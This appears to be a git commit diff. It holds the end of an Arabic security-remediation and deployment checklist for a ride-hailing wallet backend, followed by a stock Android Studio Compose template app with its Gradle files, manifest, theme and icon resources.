cp add_s2s.php walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/
|
|
||||||
|
|
||||||
# أنشئ .env جديد
|
|
||||||
cp backend/.env.example backend/.env
|
|
||||||
|
|
||||||
# حرّر القيم الحساسة
|
|
||||||
nano backend/.env
|
|
||||||
```
|
|
||||||
|
|
||||||
### الخطوة 3: الاختبار (2 ساعة)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# اختبار وحدة
|
|
||||||
php -l backend/core/WalletConnector.php
|
|
||||||
php -l backend/wallet/add.php
|
|
||||||
|
|
||||||
# اختبار S2S
|
|
||||||
curl -X POST https://api.local/wallet/add \
|
|
||||||
-H "Authorization: Bearer $JWT"
|
|
||||||
|
|
||||||
# فحص الأمان
|
|
||||||
# تجربة الهجمات المعروفة
|
|
||||||
```
|
|
||||||
|
|
||||||
### الخطوة 4: النشر (4 ساعات)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# اتبع DEPLOYMENT_GUIDE.md بالتسلسل
|
|
||||||
# تحقق من قائمة التحقق
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ⚠️ نقاط حرجة - تحذيرات
|
|
||||||
|
|
||||||
### 🔴 يجب عدم القيام به:
|
|
||||||
|
|
||||||
- ❌ لا تنسى تغيير المتغيرات الحساسة في .env
|
|
||||||
- ❌ لا تنشر .env الأصلي (فقط .env.example)
|
|
||||||
- ❌ لا تختبر على الإنتاج مباشرة
|
|
||||||
- ❌ لا تحذف النسخة الاحتياطية
|
|
||||||
- ❌ لا تنسَ تحديث firewall rules
|
|
||||||
- ❌ لا تنسَ إخطار الفريق
|
|
||||||
|
|
||||||
### 🟢 يجب القيام به:
|
|
||||||
|
|
||||||
- ✅ اقرأ جميع التوثيق أولاً
|
|
||||||
- ✅ اختبر في بيئة الاختبار (Staging)
|
|
||||||
- ✅ احفظ نسخ احتياطية قبل أي شيء
|
|
||||||
- ✅ التزم بقائمة التحقق
|
|
||||||
- ✅ راقب السجلات بعد النشر
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📞 الدعم والاستفسارات
|
|
||||||
|
|
||||||
### للمشاكل التقنية:
|
|
||||||
|
|
||||||
```
|
|
||||||
1. اقرأ REMEDIATION_GUIDE.md (القسم الخاص بالمشكلة)
|
|
||||||
2. تحقق من IMPLEMENTATION_STEPS.md
|
|
||||||
3. راجع السجلات: /var/log/siro-api/
|
|
||||||
4. جرّب Rollback إذا لزم الأمر
|
|
||||||
```
|
|
||||||
|
|
||||||
### الملفات المهمة:
|
|
||||||
|
|
||||||
- **للمطورين:** REMEDIATION_GUIDE.md
|
|
||||||
- **لـ DevOps:** DEPLOYMENT_GUIDE.md
|
|
||||||
- **للإدارة:** IMPLEMENTATION_STEPS.md (الجزء التنفيذي)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✅ قائمة التحقق النهائي
|
|
||||||
|
|
||||||
قبل النشر:
|
|
||||||
|
|
||||||
- [ ] قرأت جميع الملفات
|
|
||||||
- [ ] عملت نسخ احتياطية
|
|
||||||
- [ ] اختبرت في Staging
|
|
||||||
- [ ] حررت جميع المتغيرات في .env
|
|
||||||
- [ ] تحققت من الأذونات
|
|
||||||
- [ ] أعددت خطة Rollback
|
|
||||||
- [ ] أخطرت الفريق
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📈 المتابعة بعد النشر
|
|
||||||
|
|
||||||
### اليوم الأول:
|
|
||||||
|
|
||||||
- [ ] راقب السجلات
|
|
||||||
- [ ] اختبر بعض المعاملات
|
|
||||||
- [ ] تحقق من الأداء
|
|
||||||
|
|
||||||
### الأسبوع الأول:
|
|
||||||
|
|
||||||
- [ ] قياس الاستقرار
|
|
||||||
- [ ] تحليل الأخطاء
|
|
||||||
- [ ] إرسال تقرير
|
|
||||||
|
|
||||||
### الشهر الأول:
|
|
||||||
|
|
||||||
- [ ] تحديث التوثيق
|
|
||||||
- [ ] تدريب الفريق
|
|
||||||
- [ ] تقييم العائد على الاستثمار
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎓 الدروس المستفادة
|
|
||||||
|
|
||||||
من هذا المشروع، تعلمنا:
|
|
||||||
|
|
||||||
1. ✅ **الأمان أولاً:** تشفير قوي، مصادقة شاملة
|
|
||||||
2. ✅ **التوثيق:** التوثيق الجيد ينقذ المشاريع
|
|
||||||
3. ✅ **الاختبار:** اختبر كل شيء قبل النشر
|
|
||||||
4. ✅ **المراقبة:** السجلات الشاملة ضرورية
|
|
||||||
5. ✅ **التخطيط:** خطة rollback دائماً
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎉 النتيجة النهائية
|
|
||||||
|
|
||||||
**مشروع سيرو محمي الآن:**
|
|
||||||
|
|
||||||
- ✅ من هجمات المحفظة
|
|
||||||
- ✅ من هجمات الاختراق
|
|
||||||
- ✅ من تسريب البيانات
|
|
||||||
- ✅ من MITM attacks
|
|
||||||
|
|
||||||
**المستخدمون محميون:**
|
|
||||||
|
|
||||||
- ✅ بيانات شخصية آمنة
|
|
||||||
- ✅ أموال محمية
|
|
||||||
- ✅ الخصوصية مضمونة
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**تم الإنجاز بنجاح! 🎉**
|
|
||||||
|
|
||||||
**التاريخ:** 16 يونيو 2026
|
|
||||||
**الحالة:** ✅ جاهز للنشر الفوري
|
|
||||||
**المدة الإجمالية:** 9.5 ساعات من البدء إلى الإنتهاء
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
للأسئلة أو الاستفسارات، يرجى الاتصال بـ:
|
|
||||||
📧 security@siromove.com
|
|
||||||
📞 +963-XXX-XXXX-XX
|
|
||||||
BIN
android_bot/.gradle/8.13/checksums/checksums.lock
Normal file
BIN
android_bot/.gradle/8.13/checksums/md5-checksums.bin
Normal file
BIN
android_bot/.gradle/8.13/checksums/sha1-checksums.bin
Normal file
BIN
android_bot/.gradle/8.13/executionHistory/executionHistory.lock
Normal file
BIN
android_bot/.gradle/8.13/fileChanges/last-build.bin
Normal file
BIN
android_bot/.gradle/8.13/fileHashes/fileHashes.bin
Normal file
BIN
android_bot/.gradle/8.13/fileHashes/fileHashes.lock
Normal file
BIN
android_bot/.gradle/8.13/fileHashes/resourceHashesCache.bin
Normal file
0
android_bot/.gradle/8.13/gc.properties
Normal file
BIN
android_bot/.gradle/buildOutputCleanup/buildOutputCleanup.lock
Normal file
2
android_bot/.gradle/buildOutputCleanup/cache.properties
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
#Sun Jun 21 02:56:57 EET 2026
|
||||||
|
gradle.version=8.13
|
||||||
2
android_bot/.gradle/config.properties
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
#Sun Jun 21 02:56:49 EET 2026
|
||||||
|
java.home=/Applications/Android Studio.app/Contents/jbr/Contents/Home
|
||||||
0
android_bot/.gradle/vcs-1/gc.properties
Normal file
1
android_bot/app/.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
|||||||
|
/build
|
||||||
59
android_bot/app/build.gradle.kts
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
plugins {
|
||||||
|
alias(libs.plugins.android.application)
|
||||||
|
alias(libs.plugins.kotlin.android)
|
||||||
|
alias(libs.plugins.kotlin.compose)
|
||||||
|
}
|
||||||
|
|
||||||
|
android {
|
||||||
|
namespace = "com.siro.android_bot"
|
||||||
|
compileSdk = 36
|
||||||
|
|
||||||
|
defaultConfig {
|
||||||
|
applicationId = "com.siro.android_bot"
|
||||||
|
minSdk = 24
|
||||||
|
targetSdk = 36
|
||||||
|
versionCode = 1
|
||||||
|
versionName = "1.0"
|
||||||
|
|
||||||
|
testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
|
||||||
|
}
|
||||||
|
|
||||||
|
buildTypes {
|
||||||
|
release {
|
||||||
|
isMinifyEnabled = false
|
||||||
|
proguardFiles(
|
||||||
|
getDefaultProguardFile("proguard-android-optimize.txt"),
|
||||||
|
"proguard-rules.pro"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
compileOptions {
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_11
|
||||||
|
targetCompatibility = JavaVersion.VERSION_11
|
||||||
|
}
|
||||||
|
kotlinOptions {
|
||||||
|
jvmTarget = "11"
|
||||||
|
}
|
||||||
|
buildFeatures {
|
||||||
|
compose = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
|
||||||
|
implementation(libs.androidx.core.ktx)
|
||||||
|
implementation(libs.androidx.lifecycle.runtime.ktx)
|
||||||
|
implementation(libs.androidx.activity.compose)
|
||||||
|
implementation(platform(libs.androidx.compose.bom))
|
||||||
|
implementation(libs.androidx.compose.ui)
|
||||||
|
implementation(libs.androidx.compose.ui.graphics)
|
||||||
|
implementation(libs.androidx.compose.ui.tooling.preview)
|
||||||
|
implementation(libs.androidx.compose.material3)
|
||||||
|
testImplementation(libs.junit)
|
||||||
|
androidTestImplementation(libs.androidx.junit)
|
||||||
|
androidTestImplementation(libs.androidx.espresso.core)
|
||||||
|
androidTestImplementation(platform(libs.androidx.compose.bom))
|
||||||
|
androidTestImplementation(libs.androidx.compose.ui.test.junit4)
|
||||||
|
debugImplementation(libs.androidx.compose.ui.tooling)
|
||||||
|
debugImplementation(libs.androidx.compose.ui.test.manifest)
|
||||||
|
}
|
||||||
21
android_bot/app/proguard-rules.pro
vendored
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
# Add project specific ProGuard rules here.
|
||||||
|
# You can control the set of applied configuration files using the
|
||||||
|
# proguardFiles setting in build.gradle.
|
||||||
|
#
|
||||||
|
# For more details, see
|
||||||
|
# http://developer.android.com/guide/developing/tools/proguard.html
|
||||||
|
|
||||||
|
# If your project uses WebView with JS, uncomment the following
|
||||||
|
# and specify the fully qualified class name to the JavaScript interface
|
||||||
|
# class:
|
||||||
|
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
|
||||||
|
# public *;
|
||||||
|
#}
|
||||||
|
|
||||||
|
# Uncomment this to preserve the line number information for
|
||||||
|
# debugging stack traces.
|
||||||
|
#-keepattributes SourceFile,LineNumberTable
|
||||||
|
|
||||||
|
# If you keep the line number information, uncomment this to
|
||||||
|
# hide the original source file name.
|
||||||
|
#-renamesourcefileattribute SourceFile
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package com.siro.android_bot
|
||||||
|
|
||||||
|
import androidx.test.platform.app.InstrumentationRegistry
|
||||||
|
import androidx.test.ext.junit.runners.AndroidJUnit4
|
||||||
|
|
||||||
|
import org.junit.Test
|
||||||
|
import org.junit.runner.RunWith
|
||||||
|
|
||||||
|
import org.junit.Assert.*
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Instrumented test, which will execute on an Android device.
|
||||||
|
*
|
||||||
|
* See [testing documentation](http://d.android.com/tools/testing).
|
||||||
|
*/
|
||||||
|
@RunWith(AndroidJUnit4::class)
|
||||||
|
class ExampleInstrumentedTest {
|
||||||
|
@Test
|
||||||
|
fun useAppContext() {
|
||||||
|
// Context of the app under test.
|
||||||
|
val appContext = InstrumentationRegistry.getInstrumentation().targetContext
|
||||||
|
assertEquals("com.siro.android_bot", appContext.packageName)
|
||||||
|
}
|
||||||
|
}
|
||||||
27
android_bot/app/src/main/AndroidManifest.xml
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:tools="http://schemas.android.com/tools">
|
||||||
|
|
||||||
|
<application
|
||||||
|
android:allowBackup="true"
|
||||||
|
android:dataExtractionRules="@xml/data_extraction_rules"
|
||||||
|
android:fullBackupContent="@xml/backup_rules"
|
||||||
|
android:icon="@mipmap/ic_launcher"
|
||||||
|
android:label="@string/app_name"
|
||||||
|
android:roundIcon="@mipmap/ic_launcher_round"
|
||||||
|
android:supportsRtl="true"
|
||||||
|
android:theme="@style/Theme.Android_bot">
|
||||||
|
<activity
|
||||||
|
android:name=".MainActivity"
|
||||||
|
android:exported="true"
|
||||||
|
android:label="@string/app_name"
|
||||||
|
android:theme="@style/Theme.Android_bot">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN" />
|
||||||
|
|
||||||
|
<category android:name="android.intent.category.LAUNCHER" />
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
</application>
|
||||||
|
|
||||||
|
</manifest>
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
package com.siro.android_bot
|
||||||
|
|
||||||
|
import android.os.Bundle
|
||||||
|
import androidx.activity.ComponentActivity
|
||||||
|
import androidx.activity.compose.setContent
|
||||||
|
import androidx.activity.enableEdgeToEdge
|
||||||
|
import androidx.compose.foundation.layout.fillMaxSize
|
||||||
|
import androidx.compose.foundation.layout.padding
|
||||||
|
import androidx.compose.material3.Scaffold
|
||||||
|
import androidx.compose.material3.Text
|
||||||
|
import androidx.compose.runtime.Composable
|
||||||
|
import androidx.compose.ui.Modifier
|
||||||
|
import androidx.compose.ui.tooling.preview.Preview
|
||||||
|
import com.siro.android_bot.ui.theme.Android_botTheme
|
||||||
|
|
||||||
|
class MainActivity : ComponentActivity() {
|
||||||
|
override fun onCreate(savedInstanceState: Bundle?) {
|
||||||
|
super.onCreate(savedInstanceState)
|
||||||
|
enableEdgeToEdge()
|
||||||
|
setContent {
|
||||||
|
Android_botTheme {
|
||||||
|
Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
|
||||||
|
Greeting(
|
||||||
|
name = "Android",
|
||||||
|
modifier = Modifier.padding(innerPadding)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Composable
|
||||||
|
fun Greeting(name: String, modifier: Modifier = Modifier) {
|
||||||
|
Text(
|
||||||
|
text = "Hello $name!",
|
||||||
|
modifier = modifier
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
@Preview(showBackground = true)
|
||||||
|
@Composable
|
||||||
|
fun GreetingPreview() {
|
||||||
|
Android_botTheme {
|
||||||
|
Greeting("Android")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
package com.siro.android_bot.ui.theme
|
||||||
|
|
||||||
|
import androidx.compose.ui.graphics.Color
|
||||||
|
|
||||||
|
val Purple80 = Color(0xFFD0BCFF)
|
||||||
|
val PurpleGrey80 = Color(0xFFCCC2DC)
|
||||||
|
val Pink80 = Color(0xFFEFB8C8)
|
||||||
|
|
||||||
|
val Purple40 = Color(0xFF6650a4)
|
||||||
|
val PurpleGrey40 = Color(0xFF625b71)
|
||||||
|
val Pink40 = Color(0xFF7D5260)
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
package com.siro.android_bot.ui.theme
|
||||||
|
|
||||||
|
import android.app.Activity
|
||||||
|
import android.os.Build
|
||||||
|
import androidx.compose.foundation.isSystemInDarkTheme
|
||||||
|
import androidx.compose.material3.MaterialTheme
|
||||||
|
import androidx.compose.material3.darkColorScheme
|
||||||
|
import androidx.compose.material3.dynamicDarkColorScheme
|
||||||
|
import androidx.compose.material3.dynamicLightColorScheme
|
||||||
|
import androidx.compose.material3.lightColorScheme
|
||||||
|
import androidx.compose.runtime.Composable
|
||||||
|
import androidx.compose.ui.platform.LocalContext
|
||||||
|
|
||||||
|
private val DarkColorScheme = darkColorScheme(
|
||||||
|
primary = Purple80,
|
||||||
|
secondary = PurpleGrey80,
|
||||||
|
tertiary = Pink80
|
||||||
|
)
|
||||||
|
|
||||||
|
private val LightColorScheme = lightColorScheme(
|
||||||
|
primary = Purple40,
|
||||||
|
secondary = PurpleGrey40,
|
||||||
|
tertiary = Pink40
|
||||||
|
|
||||||
|
/* Other default colors to override
|
||||||
|
background = Color(0xFFFFFBFE),
|
||||||
|
surface = Color(0xFFFFFBFE),
|
||||||
|
onPrimary = Color.White,
|
||||||
|
onSecondary = Color.White,
|
||||||
|
onTertiary = Color.White,
|
||||||
|
onBackground = Color(0xFF1C1B1F),
|
||||||
|
onSurface = Color(0xFF1C1B1F),
|
||||||
|
*/
|
||||||
|
)
|
||||||
|
|
||||||
|
@Composable
|
||||||
|
fun Android_botTheme(
|
||||||
|
darkTheme: Boolean = isSystemInDarkTheme(),
|
||||||
|
// Dynamic color is available on Android 12+
|
||||||
|
dynamicColor: Boolean = true,
|
||||||
|
content: @Composable () -> Unit
|
||||||
|
) {
|
||||||
|
val colorScheme = when {
|
||||||
|
dynamicColor && Build.VERSION.SDK_INT >= Build.VERSION_CODES.S -> {
|
||||||
|
val context = LocalContext.current
|
||||||
|
if (darkTheme) dynamicDarkColorScheme(context) else dynamicLightColorScheme(context)
|
||||||
|
}
|
||||||
|
|
||||||
|
darkTheme -> DarkColorScheme
|
||||||
|
else -> LightColorScheme
|
||||||
|
}
|
||||||
|
|
||||||
|
MaterialTheme(
|
||||||
|
colorScheme = colorScheme,
|
||||||
|
typography = Typography,
|
||||||
|
content = content
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
package com.siro.android_bot.ui.theme
|
||||||
|
|
||||||
|
import androidx.compose.material3.Typography
|
||||||
|
import androidx.compose.ui.text.TextStyle
|
||||||
|
import androidx.compose.ui.text.font.FontFamily
|
||||||
|
import androidx.compose.ui.text.font.FontWeight
|
||||||
|
import androidx.compose.ui.unit.sp
|
||||||
|
|
||||||
|
// Set of Material typography styles to start with
|
||||||
|
val Typography = Typography(
|
||||||
|
bodyLarge = TextStyle(
|
||||||
|
fontFamily = FontFamily.Default,
|
||||||
|
fontWeight = FontWeight.Normal,
|
||||||
|
fontSize = 16.sp,
|
||||||
|
lineHeight = 24.sp,
|
||||||
|
letterSpacing = 0.5.sp
|
||||||
|
)
|
||||||
|
/* Other default text styles to override
|
||||||
|
titleLarge = TextStyle(
|
||||||
|
fontFamily = FontFamily.Default,
|
||||||
|
fontWeight = FontWeight.Normal,
|
||||||
|
fontSize = 22.sp,
|
||||||
|
lineHeight = 28.sp,
|
||||||
|
letterSpacing = 0.sp
|
||||||
|
),
|
||||||
|
labelSmall = TextStyle(
|
||||||
|
fontFamily = FontFamily.Default,
|
||||||
|
fontWeight = FontWeight.Medium,
|
||||||
|
fontSize = 11.sp,
|
||||||
|
lineHeight = 16.sp,
|
||||||
|
letterSpacing = 0.5.sp
|
||||||
|
)
|
||||||
|
*/
|
||||||
|
)
|
||||||
170
android_bot/app/src/main/res/drawable/ic_launcher_background.xml
Normal file
@@ -0,0 +1,170 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
android:width="108dp"
|
||||||
|
android:height="108dp"
|
||||||
|
android:viewportWidth="108"
|
||||||
|
android:viewportHeight="108">
|
||||||
|
<path
|
||||||
|
android:fillColor="#3DDC84"
|
||||||
|
android:pathData="M0,0h108v108h-108z" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M9,0L9,108"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M19,0L19,108"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M29,0L29,108"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M39,0L39,108"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M49,0L49,108"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M59,0L59,108"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M69,0L69,108"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M79,0L79,108"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M89,0L89,108"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M99,0L99,108"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M0,9L108,9"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M0,19L108,19"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M0,29L108,29"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M0,39L108,39"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M0,49L108,49"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M0,59L108,59"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M0,69L108,69"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M0,79L108,79"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M0,89L108,89"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M0,99L108,99"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M19,29L89,29"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M19,39L89,39"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M19,49L89,49"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M19,59L89,59"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M19,69L89,69"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M19,79L89,79"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M29,19L29,89"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M39,19L39,89"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M49,19L49,89"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M59,19L59,89"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M69,19L69,89"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#00000000"
|
||||||
|
android:pathData="M79,19L79,89"
|
||||||
|
android:strokeWidth="0.8"
|
||||||
|
android:strokeColor="#33FFFFFF" />
|
||||||
|
</vector>
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:aapt="http://schemas.android.com/aapt"
|
||||||
|
android:width="108dp"
|
||||||
|
android:height="108dp"
|
||||||
|
android:viewportWidth="108"
|
||||||
|
android:viewportHeight="108">
|
||||||
|
<path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z">
|
||||||
|
<aapt:attr name="android:fillColor">
|
||||||
|
<gradient
|
||||||
|
android:endX="85.84757"
|
||||||
|
android:endY="92.4963"
|
||||||
|
android:startX="42.9492"
|
||||||
|
android:startY="49.59793"
|
||||||
|
android:type="linear">
|
||||||
|
<item
|
||||||
|
android:color="#44000000"
|
||||||
|
android:offset="0.0" />
|
||||||
|
<item
|
||||||
|
android:color="#00000000"
|
||||||
|
android:offset="1.0" />
|
||||||
|
</gradient>
|
||||||
|
</aapt:attr>
|
||||||
|
</path>
|
||||||
|
<path
|
||||||
|
android:fillColor="#FFFFFF"
|
||||||
|
android:fillType="nonZero"
|
||||||
|
android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
|
||||||
|
android:strokeWidth="1"
|
||||||
|
android:strokeColor="#00000000" />
|
||||||
|
</vector>
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
<background android:drawable="@drawable/ic_launcher_background" />
|
||||||
|
<foreground android:drawable="@drawable/ic_launcher_foreground" />
|
||||||
|
<monochrome android:drawable="@drawable/ic_launcher_foreground" />
|
||||||
|
</adaptive-icon>
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
<background android:drawable="@drawable/ic_launcher_background" />
|
||||||
|
<foreground android:drawable="@drawable/ic_launcher_foreground" />
|
||||||
|
<monochrome android:drawable="@drawable/ic_launcher_foreground" />
|
||||||
|
</adaptive-icon>
|
||||||
BIN
android_bot/app/src/main/res/mipmap-hdpi/ic_launcher.webp
Normal file
|
After Width: | Height: | Size: 1.4 KiB |
BIN
android_bot/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp
Normal file
|
After Width: | Height: | Size: 2.8 KiB |
BIN
android_bot/app/src/main/res/mipmap-mdpi/ic_launcher.webp
Normal file
|
After Width: | Height: | Size: 982 B |
BIN
android_bot/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp
Normal file
|
After Width: | Height: | Size: 1.7 KiB |
BIN
android_bot/app/src/main/res/mipmap-xhdpi/ic_launcher.webp
Normal file
|
After Width: | Height: | Size: 1.9 KiB |
BIN
